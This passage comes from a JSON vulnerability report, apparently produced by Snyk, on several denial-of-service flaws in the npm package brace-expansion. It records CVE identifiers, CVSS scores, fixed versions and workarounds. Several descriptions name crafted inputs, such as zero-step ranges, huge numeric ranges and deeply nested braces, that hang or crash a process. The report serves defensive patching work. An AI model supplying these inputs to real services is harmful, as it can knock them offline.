Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", 